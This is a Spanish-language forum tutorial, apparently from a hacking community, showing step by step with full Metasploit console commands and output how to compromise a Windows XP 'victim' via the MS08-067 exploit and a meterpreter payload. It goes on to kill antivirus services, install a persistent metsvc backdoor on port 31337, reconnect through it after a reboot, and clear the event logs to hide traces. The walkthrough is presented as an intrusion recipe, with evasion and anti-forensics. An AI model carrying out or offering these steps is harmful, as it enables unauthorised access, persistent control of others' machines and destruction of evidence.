1 METERPRETERtuto 2, 3 , 4 Y 5 abajo Hola amigos hoy vamos a ver como se obtiene un meterpreter
PC victima

Vamos usar el exploit (muy conocido)windows/smb/ms08_067_netapi
y el payload windows/meterpreter/bind_tcp para que nos de el meterpreter en la pc victima
=[ metasploit v4.3.0-dev [core:4.3 api:1.0]
+ -- --=[ 815 exploits - 459 auxiliary - 137 post
+ -- --=[ 248 payloads - 27 encoders - 8 nops
=[ svn r14995 updated -3719 days ago (2012.03.20)
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.101
RHOST => 192.168.1.101
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:1481 -> 192.168.1.101:4444) at 2002-01-13 16:05:53
-0200
meterpreter >
Come se ve se coloca la ip de la victima, la ip de nuestra pc y se configura los puertos o no eso es a eleccion
¿Què es meterpreter?
“Meterpreter” e es una familia de plugins avanzados de los mismos creadores del Metasploit Framework,
que se utiliza sobre sistemas Windows comprometidos y tienen como característica fundamental que todo
es cargado en la memoria del sistema sin crear ningún proceso adicional ni dejar rastro
Ya tenes mos nuestro meterpreter y ahora?
Estos pasos son los que sigo yo pueden haber mejores o distintos, pero despues de leer mucho me parecio que estos pasos son los mejores
Ahora lo que voy hacer es mostrale los distintos comandos poniendo
helpmeterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
meterpreter >
Pero antes que nada me voy a fijar en que proceso estoy y mudarme a uno mas estable como
explorermeterpreter > getpid
Current pid: 1036
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
252 wpabaln.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\wpabaln.exe
324 rundll32.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\rundll32.exe
360 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
524 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
556 winlogon.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
668 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
680 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
844 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
944 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe
1036 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1080 explorer.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\Explorer.EXE
1216 alg.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\System32\alg.exe
1220 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe
1292 svchost.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\system32\svchost.exe
1400 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1512 ctfmon.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\ctfmon.exe
1944 metsvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc.exe
meterpreter > migrate 1080
[*] Migrating to 1080...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1080
meterpreter >
Como se ve estaba en el pid 1036 = svchost.exe
y lo que hice fue pasarme a el pid 1080 = explorer.exe
Comandos usados fueron
getpid ==> para saber en que pid o proceso estoy
migrate ==> para mudarse de proceso
Ahora vamos a ver la parte del firewall y del antivirus
meterpreter > run killav
[*] Killing Antivirus services on the target...
meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Configuración del perfil Dominio:
[*] -------------------------------------------------------------------
[*] Modo funcional = Habilitar
[*] Modo de excepción = Habilitar
[*]
[*] Configuración del perfil Estándar (actual):
[*] -------------------------------------------------------------------
[*] Modo funcional = Deshabilitar
[*] Modo de excepción = Habilitar
[*]
[*] Configuración del servidor de seguridad Conexión de área local:
[*] -------------------------------------------------------------------
[*] Modo funcional = Habilitar
[*]
[*] Checking DEP Support Policy...
meterpreter >
Comandos usados:
killav y
getcountermeasureMas adelante voy a dar una descripcion de los comandos
Lo que voy a intentar ahora es hacer un backdoor para poder entrar a la pc victima cuando quiera sin hacer toda la explotacion de vuelta
Para eso vamos utilizar el comando
metsvcmeterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\RuaehbuTVStIsh...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
Cannot create service (0x00000431)
meterpreter >
Como se ve se subio a la pc victima
metsvc-server.exe y
metsvc.exeVamos a reniciar la pc victima para entrar por el backdoor
meterpreter > reboot
Rebooting...
Ahora vamos a entrar por el backdoor que hemos creado
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.101
RHOST => 192.168.1.101
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 2 opened (192.168.1.100:1576 -> 192.168.1.101:31337) at
2002-01-13 16:30:32 -0200
meterpreter >
Como se ve en el codigo hemos usado use exploit/multi/handler y set payload windows/metsvc_bind_tcp
meterpreter > getpid
Current pid: 1864
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
356 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
476 explorer.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\Explorer.EXE
512 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
552 winlogon.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
664 services.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe
676 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
840 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
948 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe
1024 alg.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\System32\alg.exe
1044 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1124 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe
1180 ctfmon.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\ctfmon.exe
1288 svchost.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\system32\svchost.exe
1420 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1724 wuauclt.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wuauclt.exe
1864 metsvc-server.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc-server.exe
1964 metsvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc.exe
2032 wpabaln.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\wpabaln.exe
meterpreter >
Estamos corriendo por el proceso del backdoor
1864 metsvc-server.exePara borrar las huellas usamos el comando clearev
meterpreter > clearev
[*] Wiping 86 records from Application...
[*] Wiping 144 records from System...
[*] Wiping 0 records from Security...
meterpreter >
ya podemos estar un poco mas tranquilo y disfrutar de nuestro meterpreter
pongo algunos coamndos para que vean
meterpreter > shell
Process 452 created.
Channel 1 created.
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrador>exit
meterpreter >
meterpreter > sysinfo
Computer : HACKXCRA-7848AA
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : es_ES
Meterpreter : x86/win32
meterpreter >
Bueno en el proximo tuto vamos a ver las descripciones de los comandos usados tambien hacer un backdoor con netcat y otras cositas muy interesantes
Espero que se entienda cualquier duda estoy a sus ordenes je je je
saludosssss
Hola amigo kid_goth ha hecho los videos de estas practicas para que entiendan mejor
Este es el primero
gracias kid
EDITO:
tuto 2, 3 , 4 Y 5 abajo